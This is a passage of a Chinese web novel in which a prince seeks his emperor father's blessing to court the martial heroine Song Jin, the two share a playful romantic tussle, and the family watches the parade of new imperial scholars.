齐铮漆黑的眸子仿若也被火红照亮,他轻抚唇瓣,低低笑了出来 “走吧,外面冷,坐马车里去” …… 齐铮江湖出生,身形高大,五官俊美,性子沉稳,武艺高强,体贴百姓,心胸宽广,最大的缺点就是没什么学识 但那有如何呢? 天下学子万千,各个学富五车,皆替他言 这一点就不那么重要了,比起单纯的文化,体察民情,善听善进更为重要 齐铮不言不语,游行归来,拉出各地的冤假错案,不到十分之一,朝堂便上下噤声,见鬼了似的见着这个江湖出生的王爷 不说那些这两年的案子,就说那些陈年旧案…… 他们也总算意识到,这个草莽江湖出生的王爷,或许没有出众的学识,但是一定有广阔的人脉,还有看破迷雾的锐眼 十来年的江湖经历,大衍山川湖海尽在他的脚下,各个郡府官吏民情都入他耳,只要他想,在场所有外派过的官吏,他都能说出个一二 而这些个纵横朝堂的官员,谁又不是从小官小吏走上来的呢?谁又能保证自己为官多年没有一个错案,没有一点差错?便是能保证自己,又能保证自己的亲朋吗? 各个世家手连脚,脚踩尾,像是一片林子里的大树,盘根错节,枝叶便是没有直接关系,也挨着遮着,总能扯上点关系 晋王和礼王的前车之鉴可还在那儿摆着 一切成了定局,他们杀不死他,便只能眼睁睁看着他站在天子身侧,任由那些钱权势力集到他的手上 永安城世家豪族中波涛汹涌,却和百姓没有太大的关系 腊月中旬,春节将至,大家都忙着为新的一年做准备,忙忙碌碌地穿梭在各个巷口采买年货,试图找到最便宜最好的东西 宋锦往年也会和她娘一起进城买货,那是一件非常麻烦的事情,因为她们不仅要准备自家的,还要准备一大堆的东西用作各个人情 谁家帮了忙,谁家有出息,谁家有难题,谁家被她找过茬…… 那可是个大工程 所以那最让别人开心的过年就是宋锦最烦的算账天,又要干活又要挨批还要认罪,烦都烦死了 不过那是以前了,她现在完全没有这个烦恼 宋府自然少不了人情来往,但府里人才辈出,几个管家上下弄井井有条,根本不需要多费心什么,就算看个账本清个账,也有宋清之那个金算盘管着 而她在都城惹的事,揍的人 已经死光光了 宋锦总算能过一个清静年了,她每日都是喜滋滋的,吃了饭就往外面跑,大半夜才回来,没个正经样子 眼看着她今天依旧,牛铁兰微微眯起眼睛,把人喊住:“给我回来,把你的账理清” 宋锦仿若被雷劈一般,叫冤:“我今年哪有什么账?那些人脑袋都长蛆了,娘你总不能让我去探坟吧?” 牛铁兰深呼吸,一把捏住她的耳朵:“给我好好说话,这么大人了,你的铺子庄子难不成还要我帮你看?” 她之前给宋锦理了百万嫁妆,里面铺子庄子田地都有,她不奢求这孩子能好生管理,但是看都不看一眼,她这个当娘的就活该干活算账是吧? 宋锦愣了一下,挠了挠头:“不然呢?” “……” 宋锦理直气壮:“你是我娘啊” 牛铁兰被她理直气壮的模样气得无言,好一会儿回过劲,就要收手收拾这破孩子 宋锦瞬间弯下腰,做了个鬼脸,一溜烟就跑没了 “晚上不用等我吃饭” “这死孩子”牛铁兰捂着心口生闷气,一转头,看到曲茂泽那张含笑宠溺的脸,就更气了,揪着人埋怨,“你还笑?一会儿你给她看,烦都烦死了,那么大人了一点儿规矩都没有……” 这几日宋锦天天早出晚归的,牛铁兰这当娘的还能不知道怎么回事?定是去找岐王了,也不知道给人带偏到那儿,每日鞋上泥泞,枯叶和血渍不断 野得不得了 她自己野就算了,还带着岐王一起 牛铁兰好说歹说,人也是左耳进右耳出,没点记性,她想想都头疼:“也不知道陛下那边会怎么想” 曲茂泽握住她的手,气定神闲:“你操心这干什么?要担心也是他担心才对” 牛铁兰一顿,这么想的话好像也是 …… 要不说他俩是狐朋狗友,沆瀣一气呢 曲茂泽一点儿没猜错 作为天下之主,万万人之上的齐晔此时确实头疼,他看着面前沉稳凛肃的好儿子,再看看那些个写了乱七八糟的奏折,突然就觉得东家长西家短也挺有意思 好歹不是自己家的 案前,齐铮挺直站着,见他不说话,自己也不说话,就这么直直看着人,从日光照耀,再到烛火微燃,直到咕噜噜的饿肚子声响起 齐晔坚持不下去了,他放下手里的奏折,揉了揉老腰,看着一动不动就跟旁边石柱子一般的倒霉儿子,深深叹气:“你想好了?” 齐铮目光坚定,点头:“儿臣想好了” 齐晔神色一点点严肃了下来,周身气势压了下来,空气都稀薄几分,就这么看着这个像极了自己的儿子,再次:“你真的想好了?” 齐铮神色依然坚定:“儿臣想好了” 齐晔:“那你再想想” 齐铮静静看着他:“父皇” 齐晔摆手:“我不是你父皇,我是你爹” 齐铮毫不迟疑地改口:“爹” 齐铮声音悲怆:“我是你爹,那就更不能同意了” 齐铮:……【你现在阅读的是 】 130-140 第131章 殿下吻技好差 “儿啊,你还小” 成亲这种事情,不着急的 齐晔自认身体健康,不说过个百八十岁,六七十岁肯定没问题,完全足够把他的好大儿抚养成一代明君,下一代这种事,也不用这么着急 晚点成亲,到时候娶她十个八个,还怕没儿孙吗? 齐晔不着急,真的,他一点都不着急,语重心长地劝道:“阿铮啊,男人当立业再成家,你还年轻,才回来一年,先多熟悉一下朝政,多和各家走动走动,不要耽于儿女之情小情小爱” 就是耽于情爱也无事,娶他个十个八个他也会拍手赞成 但是也要看娶谁 宋锦是谁? 那丫头虽然他也就见过三次,但她的威风他还听少了吗? 不说她大字写不好一个,还不如自家儿子有文化,也不说她不理规矩不喜处事不会管家,更不说她整日四处逃窜逗猫遛狗,带着他好大儿翻城墙,抓凶盗,蹿野林子…… 这些都不说 他作为皇上,作为天下之主,容忍这点小毛病的气量还是有 但是她是宋商的亲闺女啊,宋锦他不了解,宋商他还能不了解吗? 那小子又偏执又疯癫,若不是当年几乎是以母亲的命换了他的,他早就在新朝建立后就消失了,这些年来一日未停,从政到农再到商、道、工…… 什么都要掺和一下 那些人只当他野心大,只有齐晔清楚,这人就是太无聊了,也没那么想活,偏偏死不了,也不能死,只能不停地搞事情 在这样的情况下,宋锦和牛铁兰母女俩的存在简直是奇迹,她们对宋商的重要性也可想而知 母女俩真要是出点什么事 齐晔想想眼皮子就跟着直跳,哪儿会想要自己的宝贝儿子去掺合这个浑水 年轻人不定性,什么情情爱爱的,现在爱得死去活来,等过两年万一有什么变动 后果很严重 即便作为帝王,齐晔也不想去试探这个可能,没有谁比他更清楚宋商的破坏性了,也没谁比他更清楚宋商这些年的付出 于情于理于义 两个小年轻都最好离得远远的 齐晔看着对面不言不语的宝贝儿子,苦口婆心:“阿铮啊,父皇就你一个儿子,以后什么都是你的,你想要什么美人没有?别说一个,就是十个百个也任你选,便是尚书侯爵家贵女,也随意选,你喜欢哪个爹立马就给你下旨……” 只要不是宋锦,其他的都无所谓 除开宋商,其余官员世家都是正常‘人’ 齐铮就站在对面,看着齐晔脸上的忧虑,听着他苦口婆心的劝导,神色没有一点变化,看不出抗拒,却也没有意动,那双眸子黑漆漆的,如夜一般藏住所有情绪 齐铮缓缓开口:“父皇刚才,好似在教我日后做个昏君” 齐晔莫名有点心虚:“……有吗?” 他说了什么来着? 三妻四妾,三宫六院,贵女美人,这不是很正常的吗? 齐铮见他理所应当,微微抿嘴,漆黑的眸子黑压压地看着他,反问:“若是母后还在,父皇还会这般说吗?” 齐晔有些失神,透过他的眼,仿若又看到了去世多年的阿妹 那年齐家以她命相胁,他重新娶妻,阿妹便要和他和离,也是他用尽手段才把人留下,即便后面将那人视若无物,她也并不开心 等后面他登上皇位,还未等人提起三宫六院之事,她就已奄奄一息,他也从未面临这些抉择,也无需抵挡那些诱惑 在阿妹去世两年后,他便顺其自然收用美人,虽然不多,却也说不上情深,宋商以往便经常用此事讽他 齐晔只觉宋商偏执,人嘛,总是要往前走的,他依旧深爱阿妹,无人能在他心中越过她的地位,却也恋着红尘,不甘为这份情深苦行 他沉默良久,道:“阿铮,爹以前也如你一般” 齐晔清楚情谊难得,却也比谁都明白情谊更难守 他的儿子啊,前些年吃够了苦,后面的日子,恪守为君之道,其余享福就够了,三五好友,三两妻妾,赏轻歌曼舞,金衣玉食,岂不快哉? 非要追求这份少年情谊,现在是满足了,一年 两,十年,二十年呢? 那丫头本身性子就要强,身后还有一个更要强难搞,甚至还不知道能活多少年的老怪物 他担心以后 齐铮却是摇头,轻声:“爹和我不一样,爹和阿娘无依无靠,四面楚歌,一心求生,我有天下最厉害的依靠,求乐” “……” 听听,听听这话 齐晔完全想不起刚才在说什么了,他理了理嗓子,端着神态,强压意满:“阿铮说得没错,我和你娘那会儿,天下大乱,她吃了太多的苦,伤了根基” 不然也不郁郁而终,等不到找回人 齐铮:“现在太下太平,国泰民安,全靠父皇圣明,我以往行走江湖之时,最经常听到的就是大家推崇于您,说您是千古明帝” 齐晔轻咳,谦虚:“哪有哪有,都是朝廷上下努力的结果,我只是做了自己该做的” 齐铮眼中闪过笑意,继续:“能做父皇的儿子,孩儿三生有幸” 齐晔脸上的笑根本压不下来,摆着手:“别吹捧我,你说得再多,今天这事也成不了,你还年轻,没经历过事,不够稳重” 见他都这般了还未点头,齐铮在心里叹气,轻轻拱手:“那孩儿明日再来,父皇早点用膳休息” 齐晔:…… 就不能多演一下吗? 这孩子 他没好气道:“都这个点了,一起吃了,晚上就在宫里休息吧” 齐铮顿了下,拒绝:“孩儿就不打扰父皇了,过两日便是殿试,父皇好好休息” 齐晔看着他,突然冷笑:“是好叫我休息,还是好让你跟着那丫头四处撒野?” 齐铮站在那儿,身姿挺拔,不同于在外的冷肃,在亲爹面前,周身气势消散,沉默又稳重,他看着人,认真专注:“父皇,和明光一起,儿臣很快活” 齐晔沉默,好一会儿才没好气地摆手:“走走走,不在朕还能多吃点” 齐铮拱手:“儿臣先行告退” …… 离开御书房时候天色已经昏暗了下来,等到走出皇宫大门,夜色彻底笼罩整个永安城 今日天色阴沉,乌云密布,遮住了明月,城市一片漆黑 北区多是达官贵人,各府门前皆挂着灯笼,灯光虽然微弱,走过还能感受着些人气 马车在路上行着,前后都有仆从举着火把灯笼开路,免得路上有坑坑洼洼惊了路,就这么不快不慢地回到了王府 府中管家过来:“王爷可用膳了?后厨饭菜温着,在那儿吃?” 齐铮:“正院厅堂,摆好就散了吧,早点歇息” 管家笑着退下:“好咧” 齐铮自食其力惯了,没有让人伺候的习惯,所以他突然改了吃饭的地方,不让人靠近,也没人会多想什么 便是多想,也只能想想 府内仆役忙碌起来,为一天中最后的工作收尾 齐铮朝着正院走去,院子门口有侍卫守候,里面往常也有,不过现在都调到院外守着,院里除了打扫时候并无他人,唯有灯笼随风晃动,照亮前后的路径 他踩在青石板上,朝着房内走去,里面油灯已经点亮,传来浅浅的呼吸声 他动作一顿,轻轻关上房门,朝着里面走去,绕过屏风,床帐放下,床上本该折叠好的被子乱糟糟的,被子底下鼓起,从左到右,一个人睡出了横七竖八的姿势 齐铮再看床头左右,书本被扔得乱七八糟,浓密的乌发下还藏着一本 心里像是被什么砸了一般,迅速加快,涌出些热意 还真有人在等他啊 他撩起床帐,侧身坐在床边,伸手抚上乌黑的秀发:“困了?” 作为习武的人,真睡装睡还是很好区分 宋锦埋到被子里的脑袋钻了出来,睡眼惺忪的,抓着他的手压在脑袋下蹭了蹭,继续趴在床上不想动:“好暖” 虽然说她不怕冷,但是暖和的被窝真的有种魔力,让人进去了就不想出来 她睡了有一会儿了,埋着脑袋,闷得脸蛋通红,额头还有些细汗,就这么扒在他手上,有些湿热,没一会儿就把在路上冻得微凉的手心也热得冒汗了 齐铮像是木头一般僵硬地坐在床边,好一会儿,见她眯着就又要睡下了,低着声音:“一会儿回去睡,先吃饭” 宋锦迷迷糊糊:“也不饿” 宋府她的房间很好,各种材质都是上好的,但是和齐铮这皇帝的宝贝疙瘩比起还是差一些,他这边很多东西全是特供的,就像着盖的被子,也不知道是什么做的,轻薄但又绵软,躺在里面就发着热,可舒服了 宋锦来之前是打算带着齐铮出去溜达,来了躺下了,就不想动了 齐铮看着赖在床上的人有些无奈 宋锦不理会,拉着他的大手当枕头,整个人反客为主,躺在他的大床上一动不动,直到脑袋下的大手挪动,猛地攥住她的肩,被子一掀就被人给抱了出来 她也不动弹,打了个哈欠,懒洋洋地伸手拍了拍他胸口,紧接着就顺着领子探了进去,非常不老实地摸着坚硬饱满的胸膛 齐铮神色一僵,迅速松手想把人放下 然而请神容易送神难 宋锦手一勾,轻轻一转,就宛如树袋熊一般挂在他的身上,原本惺忪的眼眸也明亮如皓月,她手上一个用力,往上爬了一些,脸和他面对面了起来,鼻子擦在一起 她挑着眉毛,勾着唇:“堂堂岐王殿下,怎么这般小气,摸一下都不行?” 齐铮漆黑的眸子看着她,无奈:“别闹,吃饭” 宋锦又凑近两分,唇瓣若有若无地擦过:“怎么,殿下饿了?” 她贴得极紧,修长的双腿绕在腰间,柔软的胸脯就贴着胸口,呼吸若有若无地打在脸上,红唇时不时擦着唇角,主动又大胆 齐铮眸色深了两分,声音沙哑:“别闹” 宋锦扬着唇,往前一挪,重重印在他的唇上,轻轻咬了咬,随后退开,眸中闪过狡黠:“殿下的嘴也不硬啊,怎么说话这么硬?” 齐铮:…… 虽然之前在外时候已经有过两次这般碰触,但都在野外,四周带着人,更多的是纯粹的亲昵 而现在只有他们二人,在狭小昏暗的房间内,身形紧贴,呼吸交缠 齐铮僵硬得宛如石头,一动不敢动 宋锦就是一种的得寸进尺的生物,见他不动,那就更不客气了,一只手紧紧搂着人,另一只手顺着人的肩膀,胳膊,劲腰就捏了过去 验货验货 自己的对象自己验 婚前不验货,婚后白吃亏 她咧着牙,一双凤眸就跟灯笼似的,燃着诡异的亮光,眼 看着糟蹋完上半身,就要往下面钻去 齐铮眼皮一跳,伸手重重抓住她的手,带着些恼意,按着她的脑袋,冲着红唇直接咬了上去 这人 这人真是 太嚣张了 宋锦被咬得有些意外,嘶了一声,目光落到他掩着的眼皮上,浓密的睫毛微颤,脸上带着藏不住的红意,她眨了眨眼,目光如炬 齐铮从来没有像现在这样,觉得感知力太强是件坏事,他伸手盖住她睁大的眸子,睫毛窸窸窣窣,便是隔着手,也藏不住那股被窥探的感觉 他更是懊恼,嘴上的力道也重了两分,只听得嘶了一声,他微微一顿,又多了些悔意 她还小呢,他和她计较这些干什么? 想到这,齐铮停下过于‘粗暴’的啃咬,压下沉重的呼吸,却压不住胸口的起伏,他有些狼狈地敛着眼皮,深深呼吸,刚要道歉,湿滑的舌尖擦过唇瓣 宋锦舔了舔唇,发自内心地感慨:“殿下吻技好差” 她现在信了这人没有什么红颜知己了 齐铮呼吸再次一窒,目光沉沉地看着身前格外大胆的人 宋锦倒是玩够了,松开搂着人的手,擦了擦嘴角,又拍拍他的胸口,‘不经意’地把口水抹到他的衣服上,松开双腿跳了下去,一脸无辜模样:“吃饭吃饭,饿死了” 齐铮继续沉沉地看着她 宋锦瞪了回去:“干嘛?” 齐铮深深吸气:“无事” 宋锦轻哼一声,这才满意下来,拍了拍手,扬着唇角,整个人一副得意洋洋的模样:“磨磨蹭蹭,走走走,吃饭,一会儿还要去练剑,我听他们说金铃山好像来了只豹子,我们去找找做皮靴……” 她坏事做得多,忘得也快,转个头就当不存在了,抱着手在那里叽里咕噜 因为睡了一觉到缘故,她的衣服有些凌乱,一头秀发更是披散开来,落在腰间,有些蓬松,像是炸开的松鼠尾巴,在那儿一晃一晃 她碎碎念念地说着,但是一个回话都没听到,又有些不乐意了,哒哒两步走了回来,眯着眼睛看着在原地站着的人,手戳向他的胸口,正要再次恶人先告状 齐铮敛着眸子,本就艰难压制的情欲终究还是在她的一会儿一凿子的破坏下决了堤 他忍无可忍,一把束住她的手,轻轻一个用力 原本是想将人拉到身前,恶狠狠地吻过去,让她闭上嘴 但是宋锦是谁? 眼看着被抓,她手疾眼快地那么一挡,随后就是一个手肘过去 齐铮深呼吸,攥住她的手一拉 宋锦呲着牙后退两步,一个不查,踉跄地跌倒在厚软的床上,她一个鲤鱼打挺瞬间蹿起,瞪着床边的人,长腿毫不留情地踹了过去 齐铮避开,他站在床边,胸口起伏,黑眸深深,像是夜里的深海,藏着看不清的凶兽 宋锦才不管那么多,见动作落了空,又是一个翻滚,起身站在床上,她微抬下巴,居高临下地俯视着人,轻哼:“怎么?殿下不服?” 齐铮呼吸加深,沉声:“不服” 好一个不服 凭什么不服? 她凭本事占的便宜 宋锦瞪着凤眸,脚丫子一抬,直直踩在人的胸口上,正要放狠话,脚腕突然被重重钳住,一个巧劲,她下意识往后一落 齐铮按着人的肩头压了下去 宋锦眯起了眼睛,虽然被褥厚实松软,床上也很舒服,但她可不喜欢被压,膝盖一个用力往上,被结结实实拦住。她毫不意外,只是顺着这个动作,手一撑,就翻了起来 下一瞬她又被大手握住,砰一下砸在人身上 木床为擂,攻守交换 宋锦一开始想走,后面就成了想守,以床边为界,使尽功夫要将人翻身下去,脚踹、拳击、扭打…… 两个人稳稳占床上,倒是那床昂贵的蔚蓝绸被落了地 最后,宋锦缠在人身上,脚交叉制住人的动作,手肘抵着他的脖子,一双眼因为打斗格外晶亮 比剑她肯定比不过这人,但是比近身战 宋锦凑到人面前,一番打斗下来胸前敞开,乌黑的秀发扫在他的脸上脖间,钻入胸膛,她毫不在意,就这么咧着牙压在人的身上,一双眼因为亢奋而格外明亮 她扬着唇,得意:“你输了” 齐铮没有说话,他喘着气,黑漆漆的眸子深深地看着她,手臂一个交错,挣脱她的束缚,在她乍起的反击下,按着人的脑袋,带着浓浓的恼意,重重地吻了上去 这张嘴,就不适合说话 第132章 乱七八糟的美男计 “小姐,小姐,你快点,一会儿要迟到了” 距离大年三十还有两天,城里一片热闹,阖家欢乐中,朝廷上下则是忙忙碌碌加班加点,把殿试成绩弄了出来 这一天城里格外热闹,一大早北区这边的大街小巷就挤满了人,就等着一会儿的新科状元 虽然每隔一年都会有状元出现,甚至这一次连着三年都会有,也一点儿也不妨碍老百姓和都城贵人们喜欢凑这个热闹 那可是状元啊 全大衍万万人中,隔一年才出一个的状元,谁能不稀罕? 不提状元,就说其他进士,哪怕是最后一名,那也是九品官员,万万人每年才出那么几十上百个的 那些个顶级的世家豪族见多了看不上,稍微普通一些的大家族也是稀罕着的,每年都盯着那些个考上进士,二十上下的才子 年纪轻轻就考上进士,都是潜力股 再有容貌出众一些的,都是香饽饽咧 各家亲闺女、妹妹、表亲、堂亲、义亲、朋友,总能拉出两个合适的,万一成了可就是官太太了,每年这个时候,大家都摩拳擦掌等着抢人咧 不过若说出众到公主郡主们争着抢,那一般只有话本里才有了 本朝就没有公主,至于郡主,还未成婚的也就这么一个 宋锦慢悠悠地走在路上,对于什么状元探花榜眼没一点儿兴趣,若是武状元,她多少得瞅两眼,这些个文化人嘛 她翻了个白眼:“你们想看自己去啊,拉我干什么” 小耳和小眉一左一右拉着她 小耳性子活泼,蹦蹦跳跳:“那可是状元啊小姐,你就不好奇吗?万一是严公子呢?不过依照他的容貌,肯定是探花” 小眉在另一边挽着宋锦,抿嘴笑:“严公子容貌肯定称得上探花,但是年轻,又是第一次参考,不说探花,能考上进士就是大喜事了” 两个人对于严家人都没什么好印象,但是对严盛本人还是很看好的,长得好、脾气好还上进又感恩,要是能考上可就太好了 宋锦见她们这般好奇,轻挑眉头:“这么好奇?要不要小姐提前和你们说?” 她有一个王爷对象,还有一个负责科考的主负责人亲戚,昨晚上就知道结果了,也因此她才能这么淡定 小眉和小耳面面相觑,然后非常默契的,一个捂嘴一个拉人,坚决拒绝她的剧透 “不听不听,我们要自己看” 宋锦个子高,比起小眉都高了大半个脑袋,就更别说小耳了,被两个人拘着,她还得弯着腰配合小眉,再迈着小步子配合更矮的小耳 委屈—— 三个人就这么一路挤着人群,来到了她们的目的地 清淞楼 宋清之名下的另一个酒楼,位于北区这边,比起西区商业区的富贵气,清淞楼格外的文艺,一看就是书生气的地方,来往的无富全贵 一般有钱人根本进不来 小耳和小眉非拉着宋锦一起也是因为这,没有她,她俩就算拿了牌子,过来也发怂,需要她撑个场子 酒楼是宋清之开的,里面专门给宋家人留了一个最好的位置,以便他们随时可以过来 这里也是每年科考进士游行必过的区域,绝佳的凑热闹位置 这边感兴趣的大家小姐公子都会过来这儿观赏,现在楼里上下挤满了贵客 “汤圆汤圆”一进来,小耳一眼就看到了包厢里熟悉的包子脸,兴奋地冲了过去抱着他的胳膊,碎碎念念,“你什么时候过来的?今天不上值吗?是不是瘦了……” “还,还好”简高义被她弄得有些不自在,魁梧如墙一般的人,娃娃脸跟着红了起来,对于她的亲昵不太自然,不过说完,他她露出的细腕,抿嘴:“怎么不多穿点?” 小耳欢快:“不冷,我们走过来的” …… 姐弟俩相认有些天了,但是相处时间其实并不多 小耳这边还要处理宋家的大小事情,还要忙活外面铁器铺子和房子,每天就跟小蜜蜂似的跑来跑去。简高义则要因为年底了,值班事情也多了起来,少有闲暇 当然,更主要的是,两人虽是亲姐弟,但到底从小失联,天各一方,十来年不见,一下子亲昵起来 对简高义有些难度 但是对于小耳就很寻常了 她就是个自来熟,活泼好动,可可爱爱 宋锦靠在门口,看着小耳跟个小地鼠似的蹦跳叽喳,唇角勾了勾,觉得要不了多久姐弟俩就会熟起来了 等两人出府了,她毕竟不可能日日去看,有简高义这么个前途无限的小将照看,她也放心些 眼看着小耳在一边熟了起来,宋锦带着小眉走到窗边,调侃:“我还说滕姐姐去哪儿了,原是和二哥一起啊,难不怪我找不到人” 滕千璇脸颊一红,嗔道:“明光净瞎说,早日邀你你又不来” 宋锦眨眼:“这不是怕打扰滕姐姐和心上人嘛” 滕千1璇被她调侃的都快冒烟了 宋顺之和她几年未见,好不容易团聚,两人确实会约着单独外出 但也是偶尔的,她大部分时间还是和杨彦珺她们一起,搞搞慈善,写写诗画 滕千璇嗔:“坏丫头” 分明是她不喜欢这些,现在还拿来调侃她 宋锦哈哈一笑,靠在窗边,仰着大半个身子,再看向包间里的其他人:“你们都这么闲呢?” 除了宋行之这个殿试主负责人,宋家其他四个兄弟都在这儿,本来宽敞的包间被显得还有些拥挤了起来 宋慎之看着她这幅模样,忍不住阴阳怪气:“哟,这不是明光郡主吗?多日未见,郡主光彩照人啊” 宋锦抱着手,挑着眉:“哟,这不是宋将军吗?看看这脸黑的,是不是这两天工作不顺,瞧我说的,都忘了将军现在没工作了” 宋慎之呵呵:“那是不比郡主忙碌” 这死丫头每天不是到处乱窜就是到处乱窜,根本找不到影,专门约也约不出来,人根本不和他们玩,可气人了 眼看着两个人吵了起来,宋顺之拉了拉宋慎之,眼神示意 当兄长的,哪儿能这么小气啊,和小妹计较什么? 宋慎之冷笑 这人有什么资格说这话?家里小妹就认他 宋顺之有些头疼,这老三倔起来也是,一会儿要求亲当赘婿,一会儿和人阴阳怪气,应该是在外面打仗时候打到脑袋了,他不和计较 他看向宋锦:“小妹是和母亲、曲公子一起过来的?” 听到曲公子三个字,宋慎之立马就变了脸色,端起了姿态,刚才的小心眼消失,一副严肃沉稳的大将军模样 宋锦翻了个白眼,切了一声:“没呢,我娘和那人对这些没兴趣” 窝在一旁的椅子上算账的宋清之抬起脑袋,憋着笑,带着些幸灾乐祸道:“是吗?可我怎么听说,店里阁楼有人上去了?” 宋锦:…… 她早上出门前问她娘,她娘是怎么说的来着? 一群老家伙有什么好看的 有、什、么、好、看、的 宋锦咬着牙,气冲冲跑出包间,然后绕上三楼,果然看到有扣上的暗门,她气冲冲地敲着门,没一会儿门就开了 曲茂泽那张光风霁月的脸出现在门口 宋锦瞪着大眼睛恶狠狠盯着他 抢娘之仇,不共戴天 “在那儿站着干什么?”牛铁兰轻柔的声音从里面传来,“门关了进来,一会儿队伍就来了” 宋锦憋着气走了进来,就见人坐在窗边,旁边放着茶水糕点,摆着炉子,悠哉自在,她委屈极了,过去蹲在地上,趴在她娘的腿上,声音闷闷 “你说了不来的” 结果只是不和她一起来,宋锦委屈 牛铁兰哭笑不得,顺着她的发丝,道:“这有什么,你以往一个人出门,我说什么了吗?” 宋锦搂着她的腰不说话 牛铁兰无奈,拍拍她的后背,解释:“本来是不打算来的,后面想着严盛也在,不来好像也不好,想叫上你,你已经跑了” 宋锦勉勉强强接受这个说词,但还是搂着人不放 她娘太受欢迎了,太多人想和她抢 牛铁兰见她这般,摇了摇头也就随了她,继续看向窗子外面,等待着今年的进士们出现。她也并没有糊弄宋锦,她过来确实是也算是因为严盛 他这些年很是用功,这几日得了宋行之用过的书籍,更是没有半点懈怠,日日钻研,考上了进士,虽然只是在二甲中等,但是他也不过十八,在这个年纪已经是非常难得的了 也算是苦尽甘来,熬出了头 当然,除了这,她更在意的还是上次严盛说的事,想着想着,手下一重 宋锦嘶了一声,幽怨抬头:“你还扯我头发” 牛铁兰收手,然后一巴掌下去,睨着人:“没完没了了?” 宋锦撇嘴,从她腿上下来,站起身走到窗边上看着,远远的,这里能看到皇宫的城门,将门口的盛状收归眼底 那边城门已经开启,一列列人从城门涌出,穿红戴红,左右敲锣打鼓,只需耳闻便知 这一批的进士们出来了 牛铁兰见多了优秀的年轻人,原本对这些进士兴趣不大,但是都到跟前了,还是多了些好奇,走到宋锦旁边,和她一起看向外面 阁楼的窗子有些矮,不注意的话容易掀下去 见她过来,宋锦立马收回探出去大半的身子,正要伸手把人揽住 一直在后面悠悠看着的曲茂泽走了过来,他站在另一边,伸手揽住了牛铁兰纤细的腰肢,噙着笑:“小心别摔下去了” 宋锦瞥了他一眼,撇着嘴收回了手 这么久过去了,她对于这人和她抢娘的事也没有那么抗拒了,当然,最主要的是她娘愿意,也开心 她娘开心,她也开心 她撇着嘴收回了手,继续看着那边敲锣打鼓的队伍 今年比较缺人,所以总共招了六十五名进士 一甲进士及第三名,二甲进士出身二十二名,三甲同进士出身四十名 六十五个进士骑在马上,按照排名先后排成长队,一个个迎着周围人的目光,那叫一个春风得意。这些人里,年纪最小的就是严盛,最大的是个四十出头的老书生 大部分人年纪还是在三十上下,一个个意气风发,看起来还是很养眼的 金榜题名,才子佳人,每年这个时候都会有些佳话传出 宋锦探着脑袋,看着朝着这边走来的队伍,看着走在最前面的三人,歪了歪脑袋,嘀咕:“原来是这人啊” 牛铁兰:“什么?” 宋锦给她指了指第二排的探花:“就是那个,上次在养兽堂碰到过,说要买猴子送我的那个,叫什么猪还是猴来着” 这每年的状元是不是最有文化的不好说,但是探花一定是有文化里面最好看的 这人比起严盛也不差什么,就是身体不太好,病殃殃的,还猴毛过敏,人又格外敏感 宋锦还记得这人上次非要把上千两的猴子买了送她,说什么猴子和她有缘,什么不忍心的 真的很矫情啊 她有些嫌弃 牛铁兰嘴角一抽,也想起了这事 那金丝猴确实乖巧,也着实不便宜,她还挺喜欢的,结果还没摸两下,就被这死丫头给送了出去 想到这事,她再看向那人的目光多了些同情,道:“人家 姓储,储承安” 宋锦恍然:“好像是这个名,娘你记性真好” 牛铁兰:…… 她这是哪儿是记性好啊,她都不记得之前还见过这人,关注这人,纯粹就是因为这人的小叔储邵,儒学大家,文渊书院的夫子 和梁家息息相关的人 严盛上次过来,就特意提起了这人 当时在泗安县的时候,储邵作为书院贵客,也是严盛的贵人,教了他很多的东西,让他很是感激 因为感恩,严盛对人比较关注,就这么发现他多次和一人相邀 那人鬼鬼祟祟的,再后面查探发现那人就是当初引起岭南之乱的梁家人,更是计划炸掉泗安城引起骚乱 梁家人居心叵测,那么和他接触的储邵,又真的是面上看着都那般明圣吗? 更重要的是,那日严盛被他邀上,被询了很多关于宋锦的事情,也就在后面没两日人就有人埋伏出村的母女,这其中真的就没点什么关系吗? 母女俩在镇上那么多年,一直平安无事,能认出她们的,也只有外面来的大人物了 严盛思来想去,虽不确定,但还是和牛铁兰说了这些猜测 他没有这个能力去掺合这些大事,也不敢去掺合这些事,可他也不能对此无动于衷,事关母女俩的安全,是非是过,都交给牛铁兰来判断 他向来是相信她这个婶子的,也相信她有这个能力来分辨处理 至于宋锦,不说严盛了,就是牛铁兰没有半分告知的打算 这些乱七八糟的事情,就不适合她那一条线的脑袋,免得她到时候不管三七二十一直接上刀砍 牛铁兰想着她的性子就有些头疼,揉了揉额穴,突然想到了什么,眉头蹙起,问:“你后面还见过他?” 如果只有一面之缘,过了那么久,她闺女不至于立马就想起来 宋锦没想那么多,打着哈欠:“见过啊,这病秧子喜欢往外面跑,上次还看到他摔雪里,蠢得很,走个路都会摔,还是我给他叫的牛车啧啧” 牛铁兰嘴角一抽:“还有呢?” 宋锦大部分时间都在外面溜达,每天都会碰上一堆事情,她回忆了一番:“好像有吧,上个月我还看到他碰上纨绔被欺负来着,还碰到过他背诗书,酸不溜几的听不懂……” 她大部分时间都在外面溜达,虽然神出鬼没,但是仔细看就知道都是那几个固定的地方 午马街自家铺子财富圈 西区最热闹的商业街 南边混混最多的找茬区 只有北区,也就是宋府这边她白天不怎么转悠,一般都是晚上偷溜的 如果有心,很容易就能碰上 牛铁兰听着她说起这半年来的偶遇场面,眼皮子直接跳,再看她一脸嫌弃的模样,不由在心里庆幸,一根筋还是有一根筋的好的 宋锦说着说着就对上自家娘亲诡异的目光,她瞬间就警惕了起来:“我最近可没惹事” 她确实不是什么好脾气的人,但一般也不会主动找事,她现在名声在外,大部分人见到她都跑得远远的,也根本不给她碰瓷的机会 就她这反应,牛铁兰是不用担心外面乱七八糟的美男计了,她从桌上拿了块糕点塞人嘴里,一言难尽道:“吃你的吧” 她不说话的时候就是最乖的 宋锦觉得自家老娘有些莫名奇怪,她啃着糕点,郁闷:“什么嘛” 牛铁兰不想说话,她转过头,和曲茂泽的视线对上 他笑了笑,握住她的手轻轻捏了捏:“无事,别想那么多,看底下” 牛铁兰看去,就见队伍已经走到了跟前,这边的人尤其的多,大姑娘小姑娘有意思没意思,都拿着香囊凑热闹,往那些个进士身上砸 甚至还有扔蹴鞠的 严盛几个长得好看的是主要目标,仔细一看,他脸都被香囊给砸红了 牛铁兰噗嗤一笑:“这小子” 曲茂泽看着她的笑,突然扬起唇角,道:“等我明年也去考个进士,夫人也给我扔绣球如何?” “……” 牛铁兰又拿起一块糕点,往他嘴里塞,嗔:“你也吃你的” 父女俩都给她少说话 第133章 不要脸 大年三十喜迎春 扫地扫雪扫花扫草 一大早,牛铁兰拉着宋锦收拾小院 